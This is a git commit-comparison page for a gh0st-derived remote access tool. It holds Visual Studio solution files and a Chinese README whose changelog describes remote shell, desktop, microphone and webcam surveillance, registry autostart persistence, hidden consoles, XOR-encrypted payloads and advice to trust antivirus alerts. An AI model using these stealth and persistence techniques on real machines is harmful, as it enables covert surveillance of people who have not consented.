Compare commits
65 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
816385e9c8 | ||
|
|
1694cabd39 | ||
|
|
c58a9dbe73 | ||
|
|
97edc611c7 | ||
|
|
1942f499e3 | ||
|
|
077df93a68 | ||
|
|
c597af3335 | ||
|
|
66923b8807 | ||
|
|
9561a5d09d | ||
|
|
943c269700 | ||
|
|
01d11f5fa3 | ||
|
|
37d96a7f66 | ||
|
|
7df66348b3 | ||
|
|
cba61fab7e | ||
|
|
aacae8d348 | ||
|
|
d4b6d48bc1 | ||
|
|
83849e688f | ||
|
|
7a2248f2cf | ||
|
|
8aa42d5db2 | ||
|
|
48260b367f | ||
|
|
079443d48f | ||
|
|
9617694d14 | ||
|
|
97ee5bc26f | ||
|
|
a2975d9471 | ||
|
|
cdded1687d | ||
|
|
e69f18d576 | ||
|
|
0c0c24534b | ||
|
|
5b86910cb2 | ||
|
|
727bbd395b | ||
|
|
3d0e7f7573 | ||
|
|
0d6c64f87b | ||
|
|
225c7e0318 | ||
|
|
2c870f1952 | ||
|
|
0a6641baec | ||
|
|
a43386d181 | ||
|
|
833b0347c1 | ||
|
|
2ffa2534f1 | ||
|
|
919afb5311 | ||
|
|
fa383037a4 | ||
|
|
5a7145a5ac | ||
|
|
fdee9b88c2 | ||
|
|
a48a5fcfb9 | ||
|
|
7005d80ead | ||
|
|
e31c88b59c | ||
|
|
e234b37279 | ||
|
|
b8249a241c | ||
|
|
fb01dee4dd | ||
|
|
a58c105d55 | ||
|
|
60a9cf202c | ||
|
|
60a59b8dd5 | ||
|
|
953d298c1c | ||
|
|
ab7259edda | ||
|
|
1f03c14fee | ||
|
|
188d5cd24a | ||
|
|
b8ab695e5e | ||
|
|
74c4266eb7 | ||
|
|
fd62f33e60 | ||
|
|
1e7cbcbf5c | ||
|
|
91428795e6 | ||
|
|
af63166fbe | ||
|
|
be45b5bd89 | ||
|
|
bd7b9ed492 | ||
|
|
4283a31e66 | ||
|
|
5aadfc13a6 | ||
|
|
e4793a489e |
1
.gitignore
vendored
@@ -67,3 +67,4 @@ server/2015Remote/2015Remote.aps
|
|||||||
server/2015Remote.VC.db
|
server/2015Remote.VC.db
|
||||||
server/2015Remote.opensdf
|
server/2015Remote.opensdf
|
||||||
*.7z
|
*.7z
|
||||||
|
*.ini
|
||||||
|
|||||||
43
2015Remote.sln
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 14
|
||||||
|
VisualStudioVersion = 14.0.25420.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
43
2019Remote.sln
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 14
|
||||||
|
VisualStudioVersion = 14.0.25420.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
325
ReadMe.md
Normal file
@@ -0,0 +1,325 @@
|
|||||||
|
# 项目简介
|
||||||
|
|
||||||
|
**原始来源:** [zibility](https://github.com/zibility/Remote)
|
||||||
|
|
||||||
|
**功能概述:** 基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
||||||
|
如果您热爱研究控制程序,喜欢本项目,请您对该项目添加星标。Fork、Watch此项目,提交Issues,发起Pull Request都是受欢迎的。
|
||||||
|
|
||||||
|
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。
|
||||||
|
|
||||||
|
**起始日期**:2019.1.1
|
||||||
|
|
||||||
|
## 主控程序
|
||||||
|
主控程序为**YAMA.exe**是Server端,Release发布版本在单台电脑只能运行一个示例。
|
||||||
|
下面展示主控程序运行界面,所有功能均可用,程序运行稳定。
|
||||||
|
某些功能要求受控程序以管理员权限运行。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
主界面以列表形式展示连接到本机的受控程序。
|
||||||
|
选中某个主机以便进行远程控制。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
终端管理打开命令行窗口,可以执行远程命令。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
进程管理显示受控机器上面正在运行的进程,可对进程进行启停操作。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
桌面管理即"远程桌面",控制远程机器。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
文件管理即在本机和受控机器之间传输文件。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
语音管理即监听受控机器的声音,需受控机器有声音输入设备。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
视频管理即打印受控机器的摄像头,需受控机器有摄像头。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
服务管理即打开受控机器上面的服务列表。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
注册表管理即打开受控机器上面的注册表。
|
||||||
|
|
||||||
|
## 受控程序
|
||||||
|

|
||||||
|
|
||||||
|
受控程序是Client端,分为2种运行形式("类型"):单个程序 **(1)** ghost.exe和 **(2)** TestRun.exe+ServerDll.dll形式。
|
||||||
|
(1)单个程序运行时,不依赖其他动态链接库,而第(2)种情况运行时,由EXE程序调用核心动态链接库。
|
||||||
|
|
||||||
|
# 更新日志
|
||||||
|
|
||||||
|
2019.1.5
|
||||||
|
|
||||||
|
1、整理垃圾排版,优化上线下线处理逻辑。
|
||||||
|
2、修复部分内存泄漏问题,改善线程处理逻辑。
|
||||||
|
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
|
||||||
|
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
|
||||||
|
|
||||||
|
2019.1.6
|
||||||
|
|
||||||
|
1、改用EnumDisplaySettings获取屏幕大小,原方法获取屏幕大小不准。
|
||||||
|
|
||||||
|
2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。
|
||||||
|
|
||||||
|
3、新增项目"ghost",不通过TestRun调用dll,而是直接生成可执行文件。
|
||||||
|
|
||||||
|
4、修复开启视频,客户端产生的一处内存泄漏缺陷,m_pCapture需要释放。
|
||||||
|
|
||||||
|
2019.1.7
|
||||||
|
|
||||||
|
1、ghost单台电脑只允许启动唯一的实例。
|
||||||
|
|
||||||
|
2、远程桌面反应迟钝,改用每秒传送8帧屏幕,后续有待优化。
|
||||||
|
|
||||||
|
2019.1.8
|
||||||
|
|
||||||
|
1、发现传屏的瓶颈在zlib压缩数据,更新zlib到版本V1.2.11,提高传送屏幕速度到每秒10帧。
|
||||||
|
|
||||||
|
2、ghost的类CBuffer不需要临界区。
|
||||||
|
|
||||||
|
2019.1.9
|
||||||
|
|
||||||
|
1、服务端IOCPServer类的工作线程改为计算机核心个数的2倍。
|
||||||
|
|
||||||
|
2、解决服务端主动退出的内存泄漏问题,泄漏源在OVERLAPPEDPLUS。
|
||||||
|
|
||||||
|
2019.1.10
|
||||||
|
|
||||||
|
1、服务端远程控制增加全屏(系统右键菜单)、退出全屏(F11)的功能。
|
||||||
|
|
||||||
|
2、修复客户端机器屏幕缩放时远程桌面鼠标光标位置不准确的问题。(跟踪光标受影响)
|
||||||
|
|
||||||
|
3、发现服务端需要采用默认英文输入法,才能在远程桌面输入中文(怀疑本地输入法截获消息)。
|
||||||
|
|
||||||
|
4、添加崩溃时写dump文件的代码。
|
||||||
|
|
||||||
|
2019.1.11
|
||||||
|
|
||||||
|
1、修复文件管理对话框多次打开崩溃的问题(【遗留问题】)。
|
||||||
|
|
||||||
|
2、遗留问题:远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
|
||||||
|
|
||||||
|
2019.1.12
|
||||||
|
|
||||||
|
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.
|
||||||
|
|
||||||
|
2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。
|
||||||
|
|
||||||
|
3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:
|
||||||
|
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
|
||||||
|
|
||||||
|
4、退出时睡眠一会,等待服务端清理,发现这样可以避免退出时崩溃的概率。
|
||||||
|
|
||||||
|
5、发布稍微稳定的版本V1.0.0.1。
|
||||||
|
|
||||||
|
2019.1.13
|
||||||
|
|
||||||
|
1、在主对话框清理子窗口的资源(原先在各自的OnClose函数),通过CLOSE_DELETE_DLG控制。
|
||||||
|
|
||||||
|
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。
|
||||||
|
|
||||||
|
3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
|
||||||
|
|
||||||
|
2019.1.15
|
||||||
|
|
||||||
|
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。
|
||||||
|
|
||||||
|
2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
|
||||||
|
|
||||||
|
3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
|
||||||
|
|
||||||
|
2019.1.16
|
||||||
|
|
||||||
|
1、智能计时宏AUTO_TICK有问题,不应该用无名的局部变量auto_tick。
|
||||||
|
|
||||||
|
2、采用由Facebook所开发的速度更快的压缩库zstd,提高程序运行效率。
|
||||||
|
参看:https://github.com/facebook/zstd
|
||||||
|
|
||||||
|
2019.1.17
|
||||||
|
|
||||||
|
1、添加比zstd更快的压缩库(压缩率不如zstd和zlib)lz4 1.8.3,参看
|
||||||
|
https://github.com/lz4/lz4
|
||||||
|
|
||||||
|
2、修复被控端屏幕被缩放显示时远程桌面跟踪鼠标的位置不准的问题。
|
||||||
|
|
||||||
|
3、修复语音监听的问题,2个事件CAudio修改为非"Manual Reset"。
|
||||||
|
|
||||||
|
2019.1.18
|
||||||
|
|
||||||
|
1、整理部分垃圾代码。
|
||||||
|
|
||||||
|
2、发布V1.0.0.2。
|
||||||
|
|
||||||
|
2018.1.19
|
||||||
|
|
||||||
|
1、发现使用lz4压缩库时监控端程序进行远程桌面操作时容易崩溃,原因不明。
|
||||||
|
|
||||||
|
2、修复内存泄漏缺陷,在throw "Bad Buffer"的情况需要释放申请的内存。
|
||||||
|
|
||||||
|
2019.1.20
|
||||||
|
|
||||||
|
1、发现不管是采用zstd还是zlib,主控端在进行桌面控制时均有崩溃的几率(zlib较小)。
|
||||||
|
|
||||||
|
2、改用zlib压缩解压库。
|
||||||
|
|
||||||
|
3、完善追踪鼠标时鼠标形态变化时的展现效果。
|
||||||
|
|
||||||
|
4、当退出远程桌面窗口全屏状态时,不再向远程被控端发送F11。
|
||||||
|
|
||||||
|
5、发现在有线网络条件下主控端崩溃几率较小。
|
||||||
|
|
||||||
|
6、禁用主控端输入法,解决使用远程桌面在被控端输入时的麻烦问题。
|
||||||
|
|
||||||
|
2019.1.21
|
||||||
|
|
||||||
|
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
|
||||||
|
|
||||||
|
2019.1.22
|
||||||
|
|
||||||
|
减少音频视频捕获过程中频繁申请内存。
|
||||||
|
|
||||||
|
2019.1.25
|
||||||
|
|
||||||
|
1、修复被控端消息提示对话框在消息换行时显示不完整的问题。
|
||||||
|
|
||||||
|
2、添加/完善录制远程被控端视频的功能。
|
||||||
|
|
||||||
|
3、修复语音监听对话框显示已收到数据不更新状态的问题。
|
||||||
|
|
||||||
|
4、发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
|
||||||
|
|
||||||
|
5、设置视频监控对话框为可调整大小,为其设置图标。
|
||||||
|
|
||||||
|
2019.1.26
|
||||||
|
|
||||||
|
1、发布V1.0.0.3。
|
||||||
|
|
||||||
|
2、修复Release模式打不开远程视频,或打开视频时画面卡住的问题,问题出在CCaptureVideo GetDIB。
|
||||||
|
|
||||||
|
2019.2.4
|
||||||
|
|
||||||
|
清理垃圾注释、整理不良排版,对代码略有改动。
|
||||||
|
|
||||||
|
遗留问题:文件管理功能无效、主控端随机崩溃。因此有必要将文件管理的功能屏蔽。
|
||||||
|
|
||||||
|
发布V1.0.0.4。
|
||||||
|
|
||||||
|
2019.3.24
|
||||||
|
|
||||||
|
1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
|
||||||
|
|
||||||
|
2、新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。
|
||||||
|
|
||||||
|
2019.3.29
|
||||||
|
|
||||||
|
1、主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。
|
||||||
|
|
||||||
|
2、发布V1.0.0.5。
|
||||||
|
|
||||||
|
注意:此次更新后的主控端需要和受控端匹配使用,否则可能出现问题。
|
||||||
|
|
||||||
|
2019.4.4
|
||||||
|
|
||||||
|
ghost项目采用VS2012 xp模式编译,以便支持在XP系统上运行。
|
||||||
|
|
||||||
|
2019.4.14
|
||||||
|
|
||||||
|
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。
|
||||||
|
|
||||||
|
2019.4.15
|
||||||
|
|
||||||
|
明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。
|
||||||
|
|
||||||
|
2019.4.19
|
||||||
|
1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。
|
||||||
|
2、CAudio的线程waveInCallBack在while循环有一处return,已改为break.
|
||||||
|
|
||||||
|
2019.4.20
|
||||||
|
TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。
|
||||||
|
|
||||||
|
2019.4.30
|
||||||
|
升级全部项目采用Visual Studio Community 2015编译。
|
||||||
|
|
||||||
|
2019.5.6
|
||||||
|
当TestRun、ClientDemo运行时若未成功加载ServerDll.dll,则给出提示。
|
||||||
|
所有项目均采用平台工具集"Visual Studio 2012 - Windows XP (v110_xp)",以支持在XP上运行。
|
||||||
|
|
||||||
|
2019.5.7
|
||||||
|
1、添加对远程IP使用域名时的支持,若IP为域名,先将域名进行解析后再连接。
|
||||||
|
2、添加文档“使用花生壳.txt”,介绍了如何使用花生壳软件搭建远程监控系统。
|
||||||
|
|
||||||
|
2019.5.8
|
||||||
|
优化左键点击Yama托盘图标的效果。
|
||||||
|
|
||||||
|
2019.5.11
|
||||||
|
优化远程桌面发送屏幕的功能,可动态调整发送屏幕的速率。
|
||||||
|
|
||||||
|
2019.8.25
|
||||||
|
调整项目设置,解决采用VS2015编译时某些项目不通过的问题。
|
||||||
|
|
||||||
|
2021.3.14
|
||||||
|
修复了若干个问题。
|
||||||
|
|
||||||
|
2024.9.6
|
||||||
|
1.新增"2019Remote.sln"支持使用Visual Studio 2019编译项目。
|
||||||
|
2.增加了使用VLD的操作方法,详见"server\2015Remote\stdafx.h"。
|
||||||
|
注意:自VS2019开始,不支持XP系统了(微软已经声明这个变更)。如果有需要在XP系统进行监控的需求,推荐使用"2015Remote.sln"。
|
||||||
|
如果使用VS2015编译,需将WindowsTargetPlatformVersion修改为8.1,将PlatformToolset修改为v140_xp。
|
||||||
|
|
||||||
|
2024.12.26
|
||||||
|
解决主控程序概率性崩溃的问题,增强主控程序运行的稳定性。本人未进行广泛测试,不保证彻底根治,但稳定性有明显改观。
|
||||||
|
fix: client threads number excceeding bug
|
||||||
|
fix: #19 the CBuffer causing server crash
|
||||||
|
fix: showing the wrong host quantity in status bar
|
||||||
|
|
||||||
|
2024.12.27
|
||||||
|
solve some issues according to code analysis result
|
||||||
|
reorg: Move commands to common/commands.h
|
||||||
|
此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。
|
||||||
|
|
||||||
|
2024.12.28
|
||||||
|
1.修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。
|
||||||
|
2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息,以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。
|
||||||
|
在主控程序上面增加了显示被控端启动时间的功能,以便掌握被控端程序的稳定性。
|
||||||
|
3.完善生成服务程序的功能。
|
||||||
|
|
||||||
|
2024.12.29
|
||||||
|
增加显示被控程序"类型"的功能:如果被控程序为单个EXE则显示为"EXE",如果被控程序为EXE调用动态库形式,则显示为"DLL".
|
||||||
|
当前,只有类型为DLL的服务支持在线升级。本次提交借机对前一个更新中的"预留字段"进行了验证。
|
||||||
|
|
||||||
|
在动态链接库中增加导出函数Run,以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。
|
||||||
|
|
||||||
|
2024.12.31
|
||||||
|
生成服务时增加加密选项,当前支持XOR加密。配合使用解密程序来加载加密后的服务。
|
||||||
|
|
||||||
|
2025.01.12
|
||||||
|
修复被控程序关于远程桌面相关可能的2处问题(#28 #29)。增加对主控端列表窗口的排序功能(#26 #27),以便快速定位窗口、服务或进程。
|
||||||
|
|
||||||
|
发布一个运行**非常稳定**的版本v1.0.6,该版本不支持在较老的Windows XP系统运行(注:VS2019及以后版本已不支持XP工具集,为此需要更早的VS)。
|
||||||
|
您可以从GitHub下载最新的Release,也可以clone该项目在相关目录找到。如果杀毒软件报告病毒,这是正常现象,请信任即可,或者您可以亲自编译。
|
||||||
|
|
||||||
|
|
||||||
|
# 沟通反馈
|
||||||
|
|
||||||
|
QQ:962914132
|
||||||
|
|
||||||
|
联系方式: [Telegram](https://t.me/doge_grandfather), [Email](mailto:yuanyuanxiang163@gmail.com), [LinkedIn](https://www.linkedin.com/in/wishyuanqi)
|
||||||
|
|
||||||
|
问题报告: [Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues)
|
||||||
|
|
||||||
|
欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)
|
||||||
111
ReadMe.txt
@@ -1,111 +0,0 @@
|
|||||||
[简介]
|
|
||||||
|
|
||||||
基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
|
||||||
|
|
||||||
来源:https://github.com/zibility/Remote
|
|
||||||
|
|
||||||
日期:2019.1.1
|
|
||||||
|
|
||||||
[更新日志]
|
|
||||||
|
|
||||||
2019.1.5
|
|
||||||
|
|
||||||
1、整理垃圾排版,优化上线下线处理逻辑。
|
|
||||||
2、修复部分内存泄漏问题,改善线程处理逻辑。
|
|
||||||
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
|
|
||||||
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
|
|
||||||
|
|
||||||
2019.1.6
|
|
||||||
|
|
||||||
1、改用EnumDisplaySettings获取屏幕大小,原方法获取屏幕大小不准。
|
|
||||||
|
|
||||||
2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。
|
|
||||||
|
|
||||||
3、新增项目"ghost",不通过TestRun调用dll,而是直接生成可执行文件。
|
|
||||||
|
|
||||||
4、修复开启视频,客户端产生的一处内存泄漏缺陷,m_pCapture需要释放。
|
|
||||||
|
|
||||||
2019.1.7
|
|
||||||
|
|
||||||
1、ghost单台电脑只允许启动唯一的实例。
|
|
||||||
|
|
||||||
2、远程桌面反应迟钝,改用每秒传送8帧屏幕,后续有待优化。
|
|
||||||
|
|
||||||
2019.1.8
|
|
||||||
|
|
||||||
1、发现传屏的瓶颈在zlib压缩数据,更新zlib到版本V1.2.11,提高传送屏幕速度到每秒10帧。
|
|
||||||
|
|
||||||
2、ghost的类CBuffer不需要临界区。
|
|
||||||
|
|
||||||
2019.1.9
|
|
||||||
|
|
||||||
1、服务端IOCPServer类的工作线程改为计算机核心个数的2倍。
|
|
||||||
|
|
||||||
2、解决服务端主动退出的内存泄漏问题,泄漏源在OVERLAPPEDPLUS。
|
|
||||||
|
|
||||||
2019.1.10
|
|
||||||
|
|
||||||
1、服务端远程控制增加全屏(系统右键菜单)、退出全屏(F11)的功能。
|
|
||||||
|
|
||||||
2、修复客户端机器屏幕缩放时远程桌面鼠标光标位置不准确的问题。(跟踪光标受影响)
|
|
||||||
|
|
||||||
3、发现服务端需要采用默认英文输入法,才能在远程桌面输入中文(怀疑本地输入法截获消息)。
|
|
||||||
|
|
||||||
4、添加崩溃时写dump文件的代码。
|
|
||||||
|
|
||||||
2019.1.11
|
|
||||||
|
|
||||||
1、修复文件管理对话框多次打开崩溃的问题(【遗留问题】)。
|
|
||||||
|
|
||||||
2、遗留问题:远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
|
|
||||||
|
|
||||||
2019.1.12
|
|
||||||
|
|
||||||
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.
|
|
||||||
|
|
||||||
2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。
|
|
||||||
|
|
||||||
3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:
|
|
||||||
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
|
|
||||||
|
|
||||||
4、退出时睡眠一会,等待服务端清理,发现这样可以避免退出时崩溃的概率。
|
|
||||||
|
|
||||||
5、发布稍微稳定的版本V1.0.0.1。
|
|
||||||
|
|
||||||
2019.1.13
|
|
||||||
|
|
||||||
1、在主对话框清理子窗口的资源(原先在各自的OnClose函数),通过CLOSE_DELETE_DLG控制。
|
|
||||||
|
|
||||||
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。
|
|
||||||
|
|
||||||
3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
|
|
||||||
|
|
||||||
2019.1.15
|
|
||||||
|
|
||||||
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。
|
|
||||||
|
|
||||||
2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
|
|
||||||
|
|
||||||
3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
|
|
||||||
|
|
||||||
2019.1.16
|
|
||||||
|
|
||||||
1、智能计时宏AUTO_TICK有问题,不应该用无名的局部变量auto_tick。
|
|
||||||
|
|
||||||
